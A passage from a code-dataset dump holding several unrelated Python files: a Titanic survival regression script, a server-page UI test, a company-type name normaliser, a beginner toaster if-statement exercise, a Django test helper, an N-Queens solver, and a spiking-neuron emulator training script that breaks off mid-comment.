pd\n#Import the Numpy library\nimport numpy as np\n#Import 'tree' from scikit-learn library\nfrom sklearn import tree\n# Import the linear regression class\nfrom sklearn.linear_model import LinearRegression\n# Sklearn also has a helper that makes it easy to do cross validation\nfrom sklearn.model_selection import KFold\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn import model_selection\nfrom sklearn.linear_model import LogisticRegression\n\n# Load the train and test datasets to create two DataFrames\ntrain_url = \"http://s3.amazonaws.com/assets.datacamp.com/course/Kaggle/train.csv\"\ntitanic = pd.read_csv(train_url)\n\ntest_url = \"http://s3.amazonaws.com/assets.datacamp.com/course/Kaggle/test.csv\"\ntitanic_test = pd.read_csv(test_url)\n\n#Print the `head` of the train and test dataframes\n# print(titanic.head())\n# print(titanic_test.head())\n# \n# titanic.describe()\n# titanic_test.describe()\n# \n# titanic.shape\n# titanic_test.shape\n \ntitanic[\"Age\"] = titanic[\"Age\"].fillna(titanic[\"Age\"].median())\n# Find all the unique genders -- the column appears to contain only male and female.\nprint(\"Find all the unique genders\")\nprint(titanic[\"Sex\"].unique())\n\n# Replace all the occurences of male with the number 0.\ntitanic.loc[titanic[\"Sex\"] == \"male\", \"Sex\"] = 0\ntitanic.loc[titanic[\"Sex\"] == \"female\", \"Sex\"] = 1\n\n# Find all the unique values for \"Embarked\".\nprint(\"Find all the unique values for Embarked\")\nprint(titanic[\"Embarked\"].unique())\ntitanic[\"Embarked\"] = titanic[\"Embarked\"].fillna(\"S\")\n\ntitanic.loc[titanic[\"Embarked\"] == \"S\", \"Embarked\"] = 0\ntitanic.loc[titanic[\"Embarked\"] == \"C\", \"Embarked\"] = 1\ntitanic.loc[titanic[\"Embarked\"] == \"Q\", \"Embarked\"] = 2\n\n# The columns we'll use to predict the target\npredictors = [\"Pclass\", \"Sex\", \"Age\", \"SibSp\", \"Parch\", \"Fare\", \"Embarked\"]\n\n# Initialize our algorithm class\nalg = LinearRegression()\n# Generate cross validation folds for the titanic dataset. It return the row indices corresponding to train and test.\n# We set random_state to ensure we get the same splits every time we run this.\n# kf = KFold(titanic[0], n_splits=6, random_state=100)\n#kf = KFold(titanic.shape[0], n_splits=6)\nkf = KFold(3)\nprint(\"KFold\")\nprint(kf) \n\npredictions = []\nfor train, test in kf.split(titanic):\n # The predictors we're using the train the algorithm. Note how we only take the rows in the train folds.\n train_predictors = (titanic[predictors].iloc[train,:])\n # The target we're using to train the algorithm.\n train_target = titanic[\"Survived\"].iloc[train]\n # Training the algorithm using the predictors and target.\n tt=alg.fit(train_predictors, train_target)\n print(train_predictors)\n print(train_target)\n print(tt)\n # We can now make predictions on the test fold\n test_predictions = alg.predict(titanic[predictors].iloc[test,:])\n# print(test_predictions)\n predictions.append(test_predictions)\n\n# The predictions are in three separate numpy arrays. Concatenate them into one. \n# We concatenate them on axis 0, as they only have one axis.\npredictions = np.concatenate(predictions, axis=0)\n\n# Map predictions to outcomes (only possible outcomes are 1 and 0)\npredictions[predictions > .5] = 1\npredictions[predictions <=.5] = 0\naccuracy = sum(predictions[predictions == titanic[\"Survived\"]]) / float(len(predictions))\n# print(sum(predictions[predictions == titanic[\"Survived\"]]))\n# print(len(predictions))\nscores = cross_val_score(alg, titanic[predictors], titanic[\"Survived\"], cv=3)\nprint(\"scores.mean()\")\nprint(scores.mean())\nprint(\"accuracy of linear regression is\", accuracy)\n\n# Initialize our algorithm\nalg = LogisticRegression(solver='liblinear', random_state=1)\n# Compute the accuracy score for all the cross validation folds. (much simpler than what we did before!)\nscores = cross_val_score(alg, titanic[predictors], titanic[\"Survived\"], cv=3)\n# Take the mean of the scores (because we have one for each fold)\nprint(\"scores.mean() for LogisticRegression is\")\nprint(scores.mean())\n\ntitanic_test[\"Age\"] = titanic_test[\"Age\"].fillna(titanic[\"Age\"].median())\ntitanic_test[\"Fare\"] = titanic_test[\"Fare\"].fillna(titanic_test[\"Fare\"].median())\ntitanic_test.loc[titanic_test[\"Sex\"] == \"male\", \"Sex\"] = 0 \ntitanic_test.loc[titanic_test[\"Sex\"] == \"female\", \"Sex\"] = 1\ntitanic_test[\"Embarked\"] = titanic_test[\"Embarked\"].fillna(\"S\")\n\ntitanic_test.loc[titanic_test[\"Embarked\"] == \"S\", \"Embarked\"] = 0\ntitanic_test.loc[titanic_test[\"Embarked\"] == \"C\", \"Embarked\"] = 1\ntitanic_test.loc[titanic_test[\"Embarked\"] == \"Q\", \"Embarked\"] = 2\n\n# Initialize the algorithm class\nalg = LogisticRegression(random_state=1, solver='liblinear')\n\n# Train the algorithm using all the training data\nalg.fit(titanic[predictors], titanic[\"Survived\"])\n\n# Make predictions using the test set.\npredictions = alg.predict(titanic_test[predictors])\n\n# Create a new dataframe with only the columns Kaggle wants from the dataset.\nsubmission = pd.DataFrame({\n \"PassengerId\": titanic_test[\"PassengerId\"],\n \"Survived\": predictions\n })\n\nsubmission.to_csv(\"kaggle.csv\", index=False)\n","sub_path":"scripts/titanic_logicalReg_logisticReg.py","file_name":"titanic_logicalReg_logisticReg.py","file_ext":"py","file_size_in_byte":5117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"604036287","text":"# coding=utf-8\r\nimport time\r\nfrom Testcase.pagemanagement.Serverpage import Serverpage\r\nfrom Testcase.models.myunit_userlogin import MyTest\r\nimport unittest\r\nfrom data import ReadExcel\r\nclass Server_edit(MyTest):\r\n # 输入服务器地址与激活码\r\n def test1_server(self):\r\n m=Serverpage(self.driver)\r\n self.a=m.edition_btn()\r\n time.sleep(1)\r\n #输入服务器地址为域名\r\n self.b=m.host_edit(ReadExcel('admintest',12,6))\r\n time.sleep(1)\r\n #输入激活码\r\n self.c=m.license_edit(ReadExcel('admintest',13,6))\r\n self.d=m.edit_ok()\r\n time.sleep(2)\r\n self.e=m.confirm_btn()\r\n time.sleep(15)\r\n self.f=m.license_titles()\r\n #验证激活码是否激活成功\r\n self.assertEqual(self.f,ReadExcel('admintest',13,9))\r\n time.sleep(5)\r\n\r\n #服务器按钮\r\n def test2_server(self):\r\n m=Serverpage(self.driver)\r\n # 重启服务器\r\n self.a=m.restart_btn()\r\n time.sleep(15)\r\n # 判断正在运行图标元素是否存在\r\n self.rest=m.is_ElementExist(ReadExcel('admintest',14,9))\r\n # 关闭服务器\r\n self.c=m.shutdown_btn()\r\n time.sleep(15)\r\n # 判断未运行图标元素是否存在\r\n self.stop=m.is_ElementExist(ReadExcel('admintest',15,9))\r\n # 启动服务器\r\n self.d=m.start_btn()\r\n time.sleep(15)\r\n # 判断正在运行图标元素是否存在\r\n self.star=m.is_ElementExist(ReadExcel('admintest',16,9))\r\n\r\n","sub_path":"web_automatic/Testcase/test_cases/test_3server_edit.py","file_name":"test_3server_edit.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"46877308","text":"import os\nimport re\nimport yaml\n\nfrom fingerprints.cleanup import clean_strict\n\nDATA_PATH = os.path.join(os.path.dirname(__file__), 'data')\n\n\nclass TypesReplacer(object):\n\n def __init__(self, replacements):\n replacements = [(k.strip(), v) for (k, v) in replacements.items()]\n replacements = [(k, v) for (k, v) in replacements if len(k)]\n self.replacements = dict(replacements)\n forms = self.replacements.keys()\n forms = sorted(forms, key=lambda ct: -1 * len(ct))\n forms = '\\\\b(%s)\\\\b' % '|'.join(forms)\n self.matcher = re.compile(forms, re.U)\n\n def get_canonical(self, match):\n return self.replacements.get(match.group(1), match.group(1))\n\n def __call__(self, text):\n return self.matcher.sub(self.get_canonical, text)\n\n\ndef build_replacer():\n types_file = os.path.join(DATA_PATH, 'types.yml')\n replacements = {}\n with open(types_file, 'r') as fh:\n types = yaml.safe_load(fh).get('types', {})\n # Compile person prefixes into a regular expression.\n for form, canonical in types.items():\n form = clean_strict(form).lower()\n canonical = clean_strict(canonical).lower()\n if form == canonical:\n continue\n replacements[form] = canonical\n\n while True:\n has_deref = False\n for form, canonical in replacements.items():\n deref = replacements.get(canonical)\n if deref is not None:\n has_deref = True\n if form == deref:\n replacements.pop(form)\n else:\n replacements[form] = deref\n\n if not has_deref:\n break\n\n return TypesReplacer(replacements)\n\n\ndef replace_types(text):\n \"\"\"Chomp down company types to a more convention form.\"\"\"\n if not hasattr(replace_types, '_replacer'):\n replace_types._replacer = build_replacer()\n return replace_types._replacer(text)\n","sub_path":"fingerprints/replacers.py","file_name":"replacers.py","file_ext":"py","file_size_in_byte":1962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"592992792","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri May 24 19:06:17 2019\r\n\r\n@author: Lawrence\r\n\"\"\"\r\n\r\ndeposit=input(\"Please enter your deposit\")\r\nif float(deposit) > 100:\r\n freeToaster=True\r\nif freeToaster: \r\n print(\"Enjoy your toaster\")\r\nprint(\"Have a nice day\") \r\n ","sub_path":"Using the Else if Statement.py","file_name":"Using the Else if Statement.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"104521922","text":"from typing import Any, List\nfrom unittest import mock\n\n# noinspection PyProtectedMember\nfrom unittest.mock import _patch\n\n# noinspection PyProtectedMember\nfrom django.test.utils import TestContextDecorator\n\n\n# noinspection PyPep8Naming\nclass override_defaults(TestContextDecorator):\n \"\"\"\n A tool for convenient override default values in config files\n\n Act as either a decorator or a context manager. If it's a decorator, take a\n function and return a wrapped function. If it's a contextmanager, use it\n with the ``with`` statement. In either event, entering/exiting are called\n before and after, respectively, the function/block is executed.\n \"\"\"\n enable_exception = None\n\n def __init__(self, app_name: str, **kwargs: Any):\n \"\"\" Save initial parameters.\n\n :param app_name: the application name\n :param kwargs: default attributes and values to override\n \"\"\"\n self.app_name = app_name\n self.settings = kwargs\n self.patchers: List[_patch] = []\n super().__init__()\n\n def enable(self) -> None:\n \"\"\" Create patchers, start save and start them. \"\"\"\n for setting, value in self.settings.items():\n patcher = mock.patch(f'{self.app_name}.defaults.{setting}', value)\n self.patchers.append(patcher)\n patcher.start()\n\n def disable(self) -> None:\n \"\"\" Stop patchers. \"\"\"\n for patcher in self.patchers:\n patcher.stop()\n","sub_path":"django_testing_utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"282847828","text":"# @Time: 19,8,18\n# @Author: CZ\n\n\n\nimport time as Time\nimport math as Math\nimport numpy as Np\n\n\ndef PlaceQueen(FlatBoard,row):\n scale = int(Math.sqrt(len(FlatBoard)))\n if(row == scale):\n ShowBoard(FlatBoard)\n else:\n # ergodic all possible position\n for i in range(row*scale,(row+1)*scale):# @i: position\n place = True\n r1 = i // scale\n c1 = i % scale\n # check position whether OK\n for j in range(0,row):# @note: FlatBoard[0:row]'s ele is the position where placing queen.\n r2 = FlatBoard[j]//scale\n c2 = FlatBoard[j]%scale\n if(r1==r2 or c1==c2 or abs(c1-c2)==row-j):\n place = False\n if(place):\n FlatBoard[row]=i\n PlaceQueen(FlatBoard,row+1)\n\n\ndef ShowBoard(Board):\n scale = int(Math.sqrt(len(Board)))\n for i in range(0,scale):\n # get Board[i]'s info\n queen = Board[i] - i*scale\n row_shape = \"\"\n for j in range(0,scale):\n if(j==queen):\n row_shape+=\"@ \"\n else:\n row_shape+=\"- \"\n print(row_shape)\n print(\"\\n\")\n\n\ndef Main():\n print(\"Board size:\")\n print(\"width:\")\n width = int(input())\n print(\"height:\")\n height = int(input())\n Board = []\n for i in range(0,height):\n for j in range(0,width):\n Board.append(-1)\n orig = Time.process_time()\n PlaceQueen(Board,0)\n end = Time.process_time()\n print(\"Algorithm time:\",end-orig)\n\n\nMain()\n\n","sub_path":"source.py/PlaceQueens.py","file_name":"PlaceQueens.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"28216422","text":"import random\r\nimport sys\r\nimport time\r\nfrom concurrent.futures.thread import ThreadPoolExecutor\r\n\r\nfrom NeuralEmulator.AdaptationBlock import AdaptationBlock\r\nfrom NeuralEmulator.ClusterSources import ClusterCurrentSource\r\nfrom NeuralEmulator.Configurators.NormalLeakSourceConfigurator import NormalLeakSourceConfigurator\r\nfrom NeuralEmulator.Configurators.OZNeuronConfigurator import OZNeuronConfigurator\r\nfrom NeuralEmulator.Configurators.PulseSynapseVWConfigurator import PulseSynapseVWConfigurator\r\nfrom NeuralEmulator.Configurators.STDPSynapseConfigurator import STDPSynapseConfigurator\r\nfrom NeuralEmulator.Configurators.TemporalConfigurator import TemporalConfigurator\r\nfrom NeuralEmulator.ErrorBlock import ErrorBlock\r\nfrom NeuralEmulator.LearningBlock import LearningBlock\r\nfrom NeuralEmulator.NormalLeakSource import NormalLeakSource\r\nfrom NeuralEmulator.OZNeuron import OZNeuron\r\nfrom NeuralEmulator.Preprocessing.NegPreprocessingBlock import NegPreprocessingBlock\r\nfrom NeuralEmulator.Preprocessing.PosPreprocessingBlock import PosPreprocessingBlock\r\nfrom NeuralEmulator.Preprocessing.PreprocessingBlock import PreprocessingBlockPos\r\nfrom NeuralEmulator.PulseSynapse import PulseSynapseWeighted\r\nfrom NeuralEmulator.STDPSynapse import STDPSynapse\r\nfrom NeuralEmulator.TemporalIntegration import TemporalIntegration\r\nfrom NeuralEmulator.Utils.Utils import getObjID\r\nfrom NeuralEmulator.VoltageSources.LinearSignal import StaticSource\r\nfrom NeuralEmulator.Adder import Adder\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\ndef runObj(obj):\r\n obj.run()\r\n\r\n\r\ndef loadSources():\r\n file_path = r\"C:\\Users\\Avi\\Desktop\\IntelliSpikesLab\\MultiLayer\\DataSet\\IRIS_P1.csv\"\r\n df = pd.read_csv(file_path)\r\n\r\n X = df[[\"sepal_length\", \"sepal_width\", \"petal_length\", \"petal_width\"]].values\r\n y = df[[\"species_Iris-setosa\", \"species_Iris-versicolor\", \"species_Iris-virginica\"]].values\r\n\r\n v1 = X[:, 0]\r\n v2 = X[:, 1]\r\n v3 = X[:, 2]\r\n v4 = X[:, 3]\r\n\r\n y1 = y[:, 0]\r\n y2 = y[:, 1]\r\n y3 = y[:, 2]\r\n\r\n return v1, v2, v3, v4, y1, y2, y3\r\n\r\n\r\ndef buildL2L3(sources, leakesVals):\r\n pulseSynapseVWConfigurator = PulseSynapseVWConfigurator()\r\n noramalLeakSourceConfigurator = NormalLeakSourceConfigurator()\r\n ozNeuronConfigurator = OZNeuronConfigurator()\r\n\r\n NEURONS_PER_SOURCE = 4\r\n\r\n L2 = []\r\n L3 = []\r\n L4 = []\r\n\r\n staticVWSource = StaticSource(2.4)\r\n\r\n srcids = [getObjID(src) for src in sources]\r\n print(\"buildL2L3 sources {}\".format(srcids))\r\n\r\n sourcest = sources + []\r\n\r\n while len(sourcest) != 0:\r\n stdpList = sourcest[0:2]\r\n del sourcest[0:2]\r\n\r\n for src in stdpList:\r\n posIndex = 0\r\n for x in range(int(NEURONS_PER_SOURCE / 2)):\r\n # Synapses\r\n positivePulseSynapse = PulseSynapseWeighted(src, staticVWSource, pulseSynapseVWConfigurator)\r\n # Leak current\r\n VLK1_CONFIG = np.random.normal(leakesVals[posIndex][x], 0.25, 1)[-1]\r\n staticLeakSource = NormalLeakSource(noramalLeakSourceConfigurator, StaticSource(VLK1_CONFIG * (10 ** -3)))\r\n\r\n # OZ neuron\r\n ozNeuron = OZNeuron(ozNeuronConfigurator, positivePulseSynapse, staticLeakSource, invertOutput=True, printLog=True)\r\n\r\n L2.append(positivePulseSynapse)\r\n L3.append(staticLeakSource)\r\n L4.append(ozNeuron)\r\n\r\n return L2, L3, L4\r\n\r\n\r\ndef buildSTDPLayer(preNeuronsArr):\r\n sTDPSynapseConfigurator = STDPSynapseConfigurator()\r\n preNeuronsArrTemp = preNeuronsArr + []\r\n\r\n preNeuronInChunks = []\r\n while len(preNeuronsArrTemp) != 0:\r\n sliceArr = preNeuronsArrTemp[0:4]\r\n del preNeuronsArrTemp[0:4]\r\n preNeuronInChunks.append(sliceArr)\r\n\r\n randomEnsambels = set()\r\n while len(randomEnsambels) != 8:\r\n i = random.randint(0, 3)\r\n j = random.randint(0, 3)\r\n if i == j:\r\n continue\r\n t = (i, j)\r\n randomEnsambels.add(t)\r\n\r\n STDPLayer = []\r\n\r\n while len(randomEnsambels) != 0:\r\n item = randomEnsambels.pop()\r\n for neuron in preNeuronInChunks[item[0]]:\r\n sTDPSynapse = STDPSynapse(sTDPSynapseConfigurator, preSource=neuron,printLog=True)\r\n STDPLayer.append(sTDPSynapse)\r\n\r\n for neuron in preNeuronInChunks[item[1]]:\r\n sTDPSynapse = STDPSynapse(sTDPSynapseConfigurator, preSource=neuron,printLog=True)\r\n STDPLayer.append(sTDPSynapse)\r\n\r\n return STDPLayer\r\n\r\n\r\ndef buildL6(neuronLeakConfig, L5_STDPLayer, L4_neurons):\r\n print(\"-I- buildL6(neuronLeakConfig, L5_STDPLayer, L4_neurons)\")\r\n L5_STDPLayerT = L5_STDPLayer + []\r\n preNeurons = L4_neurons + []\r\n\r\n ozNeuronConfigurator = OZNeuronConfigurator()\r\n noramalLeakSourceConfigurator = NormalLeakSourceConfigurator()\r\n temporalConfigurator = TemporalConfigurator()\r\n pulseSynapseVWConfigurator = PulseSynapseVWConfigurator()\r\n\r\n neurons = []\r\n synapses = []\r\n clusterIinSources = []\r\n\r\n NEURON_COUNT = 8\r\n\r\n print(\"Setting OZ neuron current source\")\r\n\r\n for x in range(NEURON_COUNT):\r\n\r\n ozNeuron = OZNeuron(ozNeuronConfigurator)\r\n\r\n stdpList = L5_STDPLayerT[0:8]\r\n del L5_STDPLayerT[0:8]\r\n\r\n stdpSynapses = []\r\n\r\n for stdpSourceIndex in range(len(stdpList)):\r\n positivePulseSynapse = PulseSynapseWeighted(preNeurons[stdpSourceIndex], stdpList[stdpSourceIndex], pulseSynapseVWConfigurator, True)\r\n stdpSynapses.append(positivePulseSynapse)\r\n stdpList[stdpSourceIndex].setPostSource(ozNeuron)\r\n\r\n clusterCurrentSource = ClusterCurrentSource(stdpSynapses, True)\r\n ozNeuron.setSynapse(clusterCurrentSource)\r\n\r\n neurons.append(ozNeuron)\r\n clusterIinSources.append(clusterCurrentSource)\r\n\r\n synapses += stdpSynapses\r\n\r\n print(\"Setting OZ Leaks\")\r\n\r\n leakSources = []\r\n adaptationList = []\r\n\r\n for x in range(NEURON_COUNT):\r\n adaptationBlock = AdaptationBlock(temporalConfigurator, neurons[x])\r\n adaptationIout = NormalLeakSource(noramalLeakSourceConfigurator, adaptationBlock)\r\n\r\n adaptationList.append(adaptationBlock)\r\n leakSources.append(adaptationIout)\r\n\r\n # Neighbors leak\r\n clusterIoutSources = []\r\n\r\n for x in range(NEURON_COUNT):\r\n leakSource0 = NormalLeakSource(noramalLeakSourceConfigurator, StaticSource(neuronLeakConfig))\r\n leakSource1 = NormalLeakSource(noramalLeakSourceConfigurator, adaptationList[((x - 1) % 7)])\r\n leakSource2 = NormalLeakSource(noramalLeakSourceConfigurator, adaptationList[((x + 1) % 7)])\r\n leakSource3 = NormalLeakSource(noramalLeakSourceConfigurator, adaptationList[((x + 3) % 7)])\r\n\r\n ltemp = [leakSource0, leakSource1, leakSource2, leakSource3]\r\n\r\n clusterCurrentSource = ClusterCurrentSource(ltemp)\r\n\r\n neurons[x].setLeakSource(clusterCurrentSource)\r\n leakSources += ltemp\r\n clusterIoutSources.append(clusterCurrentSource)\r\n\r\n return clusterIoutSources, adaptationList, leakSources, synapses, clusterIinSources, neurons\r\n\r\n\r\ndef buildL11(temporalConfig, neuronsList):\r\n temporalConfigurator = TemporalConfigurator()\r\n temporals = []\r\n for n in neuronsList:\r\n temporalIntegration = TemporalIntegration(temporalConfig, temporalConfigurator, n)\r\n temporals.append(temporalIntegration)\r\n return temporals\r\n\r\n\r\ndef buildL12(neuronsTemporals):\r\n LR = 0.01\r\n\r\n learningBlocks = []\r\n for x in range(3):\r\n for neuronTempSignal in neuronsTemporals:\r\n learningBlock1 = LearningBlock(LR, neuronTempSignal)\r\n learningBlocks.append(learningBlock1)\r\n\r\n return learningBlocks\r\n\r\n\r\ndef buildAdders(learningBlocks):\r\n adders = []\r\n learningBlockst = learningBlocks + []\r\n for x in range(3):\r\n learningUnits = learningBlockst[0:8]\r\n del learningBlockst[0:8]\r\n ade = Adder(learningUnits)\r\n adders.append(ade)\r\n return adders\r\n\r\n\r\ndef buildErrorCkt(adders, sources):\r\n errorBlocks = []\r\n for x in range(len(adders)):\r\n errorBlock = ErrorBlock(adders[x], sources[x], 8)\r\n errorBlocks.append(errorBlock)\r\n return errorBlocks\r\n\r\n\r\ndef connectLearningBlockWithError(lrb, errl):\r\n learningBlockst = lrb + []\r\n\r\n for x in range(4):\r\n learningUnits = learningBlockst[0:8]\r\n del learningBlockst[0:8]\r\n for lu in learningUnits:\r\n lu.setErrorBlock(errl[x])\r\n\r\n\r\ndef setSTDPPostSignals(STDPLayer, postNeurons):\r\n L5_STDPLayerT = STDPLayer + []\r\n\r\n for neuron in postNeurons:\r\n learningUnits = L5_STDPLayerT[0:8]\r\n del L5_STDPLayerT[0:8]\r\n for stdp in learningUnits:\r\n stdp.setPostSource(neuron)\r\n\r\n\r\ndef resetLayer(layer):\r\n for l in layer:\r\n l.reset()\r\n\r\n\r\nL1_NEURON_COUNT = 4\r\n\r\nif __name__ == \"__main__\":\r\n import numpy as np\r\n import os\r\n\r\n os.environ[\"NERUSIM_CONF\"] = r\"C:\\Users\\Avi\\Desktop\\IntelliSpikesLab\\Emulator\\config\"\r\n\r\n sTDPSynapseConfigurator = STDPSynapseConfigurator()\r\n\r\n steps = int(1.0 // sTDPSynapseConfigurator.getStepTime())\r\n\r\n # Sources\r\n v1ValList, v2ValList, v3SValList, v4ValList, y1ValList, y2ValList, y3ValList = loadSources()\r\n\r\n v1Source = StaticSource(0)\r\n v2Source = StaticSource(1)\r\n v3Source = StaticSource(2)\r\n v4Source = StaticSource(3)\r\n\r\n y1Source = StaticSource(4)\r\n y2Source = StaticSource(5)\r\n y3Source = StaticSource(6)\r\n\r\n L1_Sources = [v1Source, v2Source, v3Source, v4Source, y1Source, y2Source, y3Source]\r\n\r\n # Preprocessing blocks\r\n\r\n v1PrerocessingBlock = PreprocessingBlockPos(v1Source)\r\n v2PrerocessingBlock = PreprocessingBlockPos(v2Source)\r\n v3PrerocessingBlock = PreprocessingBlockPos(v3Source)\r\n v4PrerocessingBlock = PreprocessingBlockPos(v4Source)\r\n\r\n L1_PrerocessingBlocks = [v1PrerocessingBlock, v2PrerocessingBlock, v3PrerocessingBlock, v4PrerocessingBlock]\r\n\r\n vposPort1 = PosPreprocessingBlock(v1PrerocessingBlock)\r\n vnegPort1 = NegPreprocessingBlock(v1PrerocessingBlock)\r\n\r\n vposPort2 = PosPreprocessingBlock(v2PrerocessingBlock)\r\n vnegPort2 = NegPreprocessingBlock(v2PrerocessingBlock)\r\n\r\n vposPort3 = PosPreprocessingBlock(v3PrerocessingBlock)\r\n vnegPort3 = NegPreprocessingBlock(v3PrerocessingBlock)\r\n\r\n vposPort4 = PosPreprocessingBlock(v4PrerocessingBlock)\r\n vnegPort4 = NegPreprocessingBlock(v4PrerocessingBlock)\r\n\r\n L1_PrerocessingBlocksPorts = [vposPort1, vnegPort1, vposPort2, vnegPort2, vposPort3, vnegPort3, vposPort4, vnegPort4]\r\n\r\n # L2/3/4\r\n leakesValsPos = [720.0, 700.0]\r\n leakesValsNeg = [675.0, 650.0]\r\n\r\n L2_synapses, L3_leakes, L4_neurons = buildL2L3(L1_PrerocessingBlocksPorts, (leakesValsPos, leakesValsNeg))\r\n\r\n # L5\r\n L5_STDPLayer = buildSTDPLayer(L4_neurons)\r\n\r\n # L6-10\r\n clusterIoutSources, adaptationList, leakSources, synapses, clusterIinSources, neurons = buildL6(745.0 * (10 ** -3), L5_STDPLayer, L4_neurons)\r\n\r\n # L11\r\n temporals = buildL11(450 * (10 ** -3), neurons)\r\n\r\n # L12\r\n learningBlocks = buildL12(temporals)\r\n\r\n # L13\r\n adders = buildAdders(learningBlocks)\r\n\r\n # L14\r\n errorCkts = buildErrorCkt(adders, L1_Sources[4:])\r\n\r\n # Connect LearningBlock with Error signal\r\n connectLearningBlockWithError(learningBlocks, errorCkts)\r\n\r\n layers = [L1_Sources, L1_PrerocessingBlocks, L1_PrerocessingBlocksPorts,\r\n L2_synapses, L3_leakes, L4_neurons,\r\n L5_STDPLayer, clusterIoutSources, adaptationList, leakSources, synapses, clusterIinSources, neurons,\r\n temporals, learningBlocks, adders, errorCkts]\r\n\r\n layers = [L1_Sources, L1_PrerocessingBlocks, L1_PrerocessingBlocksPorts,\r\n L2_synapses, L3_leakes, L4_neurons, L5_STDPLayer,clusterIoutSources, adaptationList, leakSources, synapses, clusterIinSources, neurons\r\n ]\r\n\r\n numberOfTrainSamples = int(len(v1ValList) * 0.7)\r\n numberOfTestingSamples = len(v1ValList) - numberOfTrainSamples\r\n\r\n epochs = 10\r\n\r\n SampleTrainTime = 150 * (10 ** -3)\r\n trainTime = SampleTrainTime * numberOfTrainSamples\r\n\r\n trainStepsCount = int((SampleTrainTime / sTDPSynapseConfigurator.getStepTime()) + 0.5)\r\n testStepsCount = int(((SampleTrainTime / 2) / sTDPSynapseConfigurator.getStepTime()) + 0.5)\r\n\r\n print(\"-I- Start training\")\r\n\r\n for epoch in range(epochs):\r\n\r\n startTime = time.time()\r\n tableRowIndex = 0\r\n\r\n for st in L5_STDPLayer:\r\n st.setLearningVal(True)\r\n\r\n for lrb in learningBlocks:\r\n lrb.setLearningVal(True)\r\n\r\n xvals = []\r\n yvals = [[] for x in L4_neurons]\r\n\r\n for trainSampleStep in range(numberOfTrainSamples):\r\n sys.stdout.write(\"\\rSample {}/{}\".format(trainSampleStep, numberOfTrainSamples))\r\n # print(\"\\rSample {}/{}\".format(trainSampleStep, numberOfTrainSamples))\r\n v1Source.setVoltage(v1ValList[trainSampleStep])\r\n v2Source.setVoltage(v2ValList[trainSampleStep])\r\n v3Source.setVoltage(v3SValList[trainSampleStep])\r\n v4Source.setVoltage(v4ValList[trainSampleStep])\r\n\r\n y1Source.setVoltage(y1ValList[trainSampleStep])\r\n y2Source.setVoltage(y2ValList[trainSampleStep])\r\n y3Source.setVoltage(y3ValList[trainSampleStep])\r\n\r\n resetLayer(L4_neurons)\r\n resetLayer(neurons)\r\n resetLayer(temporals)\r\n resetLayer(L5_STDPLayer)\r\n\r\n\r\n xvals = []\r\n preNeurons = [[] for x in L4_neurons]\r\n stdpWeights = [[] for x in L5_STDPLayer]\r\n postNeurons = [[] for x in neurons]\r\n temporalVals = [[] for x in temporals]\r\n PESWights = [[] for x in learningBlocks]\r\n\r\n for step in range(trainStepsCount):\r\n xvals.append(step)\r\n for layer in layers:\r\n for obj in layer:\r\n obj.run()\r\n\r\n for x in range(len(L4_neurons)):\r\n preNeurons[x].append(L4_neurons[x].getVoltage())\r\n\r\n for x in range(len(L5_STDPLayer)):\r\n stdpWeights[x].append(L5_STDPLayer[x].getVoltage())\r\n\r\n for x in range(len(neurons)):\r\n postNeurons[x].append(neurons[x].getVoltage())\r\n\r\n for x in range(len(temporals)):\r\n temporalVals[x].append(temporals[x].getVoltage())\r\n\r\n for x in range(len(learningBlocks)):\r\n PESWights[x].append(learningBlocks[x].getVoltage())\r\n\r\n fig, axs = plt.subplots(16, 3)\r\n x = 0\r\n for y in preNeurons:\r\n axs[x, 0].plot(xvals, y)\r\n x += 1\r\n\r\n x = 0\r\n for y in postNeurons:\r\n axs[x, 1].plot(xvals, y)\r\n x += 1\r\n\r\n # x = 0\r\n # for y in temporalVals:\r\n # axs[x, 2].plot(xvals, y)\r\n # x += 1\r\n #\r\n # x = 0\r\n # for y in PESWights:\r\n # axs[x, 3].plot(xvals, y)\r\n # x += 1\r\n\r\n plt.show()\r\n #\r\n # for st in L5_STDPLayer:\r\n # st.setLearningVal(False)\r\n #\r\n # for lrb in learningBlocks:\r\n # lrb.setLearningVal(False)\r\n #\r\n # trainCorrectCount = 0\r\n #\r\n # for trainSampleStep in range(numberOfTrainSamples):\r\n #\r\n # v1Source.setVoltage(v1ValList[trainSampleStep])\r\n # v2Source.setVoltage(v2ValList[trainSampleStep])\r\n # v3Source.setVoltage(v3SValList[trainSampleStep])\r\n # v4Source.setVoltage(v4ValList[trainSampleStep])\r\n #\r\n # y1Source.setVoltage(y1ValList[trainSampleStep])\r\n # y2Source.setVoltage(y2ValList[trainSampleStep])\r\n # y3Source.setVoltage(y3ValList[trainSampleStep])\r\n #\r\n # for step in range(trainStepsCount):\r\n # for layer in layers:\r\n # for obj in layer:\r\n # obj.run()\r\n #\r\n # predicts = [adders[0].getVoltage(), adders[1].getVoltage(), adders[2].getVoltage()]\r\n # labels = [y1Source.getVoltage(), y2Source.getVoltage(), y3Source.getVoltage()]\r\n # print(\"Predict {}\".format(predicts))\r\n # print(\"True {}\".format(labels))\r\n #\r\n # if predicts.index(max(predicts)) == labels.index(max(labels)) and max(predicts) != 0:\r\n # trainCorrectCount += 1\r\n\r\n # print(\"Train accuracy {}\".format((trainCorrectCount / numberOfTrainSamples) * 100.0))\r\n print(\"\\nEpoch Simulation runtime {}\".format(time.time() - startTime))\r\n\r\n # # ------- Testing ------------------\r\n #\r\n # testSamplesCounter = 0\r\n # currectCounter = 0\r\n #\r\n # tableRowIndex = numberOfTrainSamples\r\n #\r\n # for st in L5_STDPLayer:\r\n # st.setLearningVal(False)\r\n #\r\n # for lrb in 